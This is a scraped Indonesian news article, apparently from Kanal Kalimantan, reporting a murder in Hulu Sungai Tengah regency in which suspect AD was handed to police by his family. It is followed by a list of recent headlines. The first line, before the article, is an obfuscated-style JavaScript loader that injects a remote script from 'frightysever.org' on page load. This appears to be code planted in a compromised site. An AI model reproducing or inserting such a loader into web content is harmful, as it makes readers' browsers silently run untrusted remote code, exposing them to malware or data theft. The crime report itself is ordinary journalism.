(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Setelah Habisi TB, AD Diserahkan Keluarga ke Polisi


BARABAI, Polres Hulu Sungai Tengah (HST) berhasil mengamankan pelaku pembunuhan TB, dihabisi dengan cara diparang lalu ditombak. Kejadian penganiayaan berat itu terjadi di Desa Kudung Sungai Jeranih RT 01 RW 01, Kecamatan Labuam Amas Selatan (LAS), Kabupaten HST.

Kapolres HST AKBP Sabana Atmojo SIK MH mengungkapkan, pelaku pembunuhan sadis diketahui berinisial AD (22) warga Desa Sungai Jeranih RT 01 Kecamatan LAS. AD kalap mata langsung menghabisi nyawa TB (39) warga Desa Banua Kepayang RT 06 RW 03 dengan cara dibacok kemudian ditombak.

Pada Minggu (3/1) sekitar pukul 11.00 Wita di Desa Kudung Sungai Jaranih, sewaktu kakak korban Zainuddin berkunjung ke rumah adiknya. Zainuddin saat itu ingin mengetahui tentang kabar yang diterima bahwa adiknya sedang berkelahi.

“Saat sampai di rumah adiknya sudah banyak warga berkumpul, Zainuddin melihat adiknya sudah tersungkur di samping kanan rumah dengan bersimbah darah,” ungkap Kapolres HST.

Langsung Zainuddin membawa adiknya ke RSUD Damanhuri Barabai dibantu dengan warga. Namun diperjalanan TB sudah meninggal dunia. Atas kejadian tersebut Zainuddin melaporkan kejadian tersebut ke Mapolsek LAS guna penyidikan lebih lanjut.

Tidak membutuhkan waktu lama, sekitar pukul 18.10 Wita, unit Resmob dan Reskrim Polsek LAS melakukan penyilidikan di TKP. Melalui pendekatan tokoh masyarakat dan pihak keluarga, akhirnya pelaku diserahkan pihak keluarga. Selanjutnya pelaku dan barang bukti dibawa ke Mapolres guna proses lebih lanjut.

AKBP Sabana Atmojo mengatakan motif  pelaku dikarenakan dendam lama antara AD dengan TB karena pelaku pernah dibacok oleh korban.

“Sehingga saat korban melintas langsung dikejar oleh pelaku dan langsung dibacok oleh pelaku. Tidak hanya itu korban juga habisi dengan cara ditombak,” kata Kapolres HST.
Adapun barang bukti yang berhasil diamankan yaitu sebilah tombak ikan (serapang), pakaian korban dan sebilah parang lengkap dengan kumpangnya. (rico)

Reporter : Rico
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

ASN Bisa WFA dan Cuti Bersama hingga Dua Minggu, Begini Skemanya

KANALKALIMANTAN.COM, JAKARTA - Pemerintah menyiapkan kebijakan strategis bagi ASN dalam menghadapi lonjakan mobilitas masyarakat pada… Read More

28 menit ago

KPw BI Kalsel Menggelar Capacity Building Jurnalis 2026

KANALKALIMANTAN.COM, BATULICIN – Kantor Perwakilan (KPw) Bank Indonesia (BI) Provinsi Kalimantan Selatan menggelara acara Capacity… Read More

2 jam ago

‎Gubernur Kalsel Kunjungi Warga Desa Pondok Bababaris

‎KANALKALIMANTAN.COM, AMUNTAI – Gubernur Kalimantan Selatan H Muhidin meninjau langsung warga terdampak banjir di Desa… Read More

3 jam ago

Dari Rakor Bulanan: 1.398 Pegawai Non ASN Digaji APBD, Alarm Banjarbaru Menjadi “Kota Kotor”

KANALKALIMANTAN.COM, BANJARBARU – Pegawai Non Aparatur Sipil Negara (ASN) menjadi perhatian Pemerintah Kota (Pemko) Banjarbaru… Read More

14 jam ago

Naik Motor Trail, Bupati Kapuas Tinjau Jalan di Kecamatan Selat

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno menggunakan sepeda motor trail meninjau sejumlah… Read More

14 jam ago

Jelang Pilkades Serentak 2026, Pemkab Banjar Gelar Rapat Persiapan

KANALKALIMANTAN.COM, MARTAPURA – Pemerintah Kabupaten Banjar melakukan persiapan guna menghadapi pelaksanaan Pemilihan Kepala Desa (Pilkades)… Read More

19 jam ago

This website uses cookies.